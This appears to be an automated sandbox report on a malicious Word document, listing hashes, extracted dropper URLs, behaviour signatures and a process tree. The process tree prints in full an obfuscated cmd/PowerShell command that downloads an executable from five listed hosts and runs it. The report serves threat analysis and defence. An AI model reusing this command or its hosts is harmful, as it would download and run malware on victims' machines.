Overview

overview

10

Static

static

8

da1a528cf5...18.doc

windows7-x64

10

da1a528cf5...18.doc

windows10-2004-x64

10

Analysis

  • max time kernel
    101s
  • max time network
    22s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    11-09-2024 09:59

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General

  • Target

    da1a528cf5e82cd4c1ba6b48a1ea3468_JaffaCakes118.doc

  • Size

    74KB

  • MD5

    da1a528cf5e82cd4c1ba6b48a1ea3468

  • SHA1

    998f61de008968c34acbfaf4f95e81d7c938cf7e

  • SHA256

    18a6526484e5033509f6fefbba3439f48ef0be087c696f210f349f6a90924616

  • SHA512

    9caabf922b45059807346214c6b3b5451c78727a02064190d971e605cd9b5e3528e9b13f0c70419d52988adaa9a0d5316e472c0bd964b2fb771c0f6f0eebb277

  • SSDEEP

    768:FtVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBd8LTTnLlCiJRz9wORjKkh58/460B:Ftocn1kp59gxBK85fBCLTbJCNw6Z+a96

Score
10/10
discoveryexecution

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://samix-num.com/BcFUhvDr
exe.dropper

http://economiadigital.biz/NKq5eOZ
exe.dropper

http://ftp.dailyignite.club/YNB95t2
exe.dropper

http://migoshen.org/FNE1TVJjI
exe.dropper

http://vanoostrom.org/w8yXb69h5

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\da1a528cf5e82cd4c1ba6b48a1ea3468_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2404
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2784
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Prairie80='Internal14';$Massachusetts17=new-object Net.WebClient;$Somalia94='http://samix-num.com/BcFUhvDr@http://economiadigital.biz/NKq5eOZ@http://ftp.dailyignite.club/YNB95t2@http://migoshen.org/FNE1TVJjI@http://vanoostrom.org/w8yXb69h5'.Split('@');$solutions78='extend49';$eenable81 = '53';$NorthCarolina56='Lake74';$Rubber84=$env:public+'\'+$eenable81+'.exe';foreach($UgandaShilling85 in $Somalia94){try{$Massachusetts17.DownloadFile($UgandaShilling85, $Rubber84);$Concrete67='endtoend42';If ((Get-Item $Rubber84).length -ge 80000) {Invoke-Item $Rubber84;$Sleek97='ClothingGarden23';break;}}catch{}}$Wooden49='Greens14';
        2⤵
        • Process spawned unexpected child process
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2352
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell $Prairie80='Internal14';$Massachusetts17=new-object Net.WebClient;$Somalia94='http://samix-num.com/BcFUhvDr@http://economiadigital.biz/NKq5eOZ@http://ftp.dailyignite.club/YNB95t2@http://migoshen.org/FNE1TVJjI@http://vanoostrom.org/w8yXb69h5'.Split('@');$solutions78='extend49';$eenable81 = '53';$NorthCarolina56='Lake74';$Rubber84=$env:public+'\'+$eenable81+'.exe';foreach($UgandaShilling85 in $Somalia94){try{$Massachusetts17.DownloadFile($UgandaShilling85, $Rubber84);$Concrete67='endtoend42';If ((Get-Item $Rubber84).length -ge 80000) {Invoke-Item $Rubber84;$Sleek97='ClothingGarden23';break;}}catch{}}$Wooden49='Greens14';
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2748

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1577415A.wmf
      Filesize

      494B

      MD5

      2a971538126936c144f12753ef32887e

      SHA1

      7388c4ba4bef091c41009472818a8385ac595202

      SHA256

      f1d76e74e4d8fba30446286b7aeda16b9b86576d7d453ef56fcc3d1c3fe34726

      SHA512

      06b2d4d00d3926a76741fa248981971cc3be3cd9d4411c227eb4c3ed88d4cffd435c98276456e0018eb977b293ee09ed29f60744853d1822885796298a6b91cb

      Download Submit

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
      Filesize

      19KB

      MD5

      7121db767acb539f5d2ed1229fdd1245

      SHA1

      df5fb350652c7e4b22d9c960febb36590ef78111

      SHA256

      4f2d0ec1d6e2235d5f3fe62ab794c992454a6ca98575e415b9190b60e16c7fda

      SHA512

      72dfd8cf52d5b14dd9d40639069eac802d3b0c00670a33461519a1b829ba3ffd17ab71415fa189edc80358212b4bd5d29dba4b348ad78ba2c9939d9d1ecf53f1

      Download Submit

    • memory/2404-20-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2404-29-0x0000000006100000-0x0000000006200000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2404-2-0x000000007101D000-0x0000000071028000-memory.dmp

      Filesize

      44KB

      Download

    • memory/2404-21-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2404-22-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2404-27-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2404-28-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2404-25-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2404-0-0x000000002F5D1000-0x000000002F5D2000-memory.dmp

      Filesize

      4KB

      Download

    • memory/2404-6-0x0000000005F60000-0x0000000006060000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2404-24-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2404-38-0x000000007101D000-0x0000000071028000-memory.dmp

      Filesize

      44KB

      Download

    • memory/2404-39-0x0000000005F60000-0x0000000006060000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2404-40-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2404-41-0x0000000006100000-0x0000000006200000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2404-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2404-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2404-62-0x000000007101D000-0x0000000071028000-memory.dmp

      Filesize

      44KB

      Download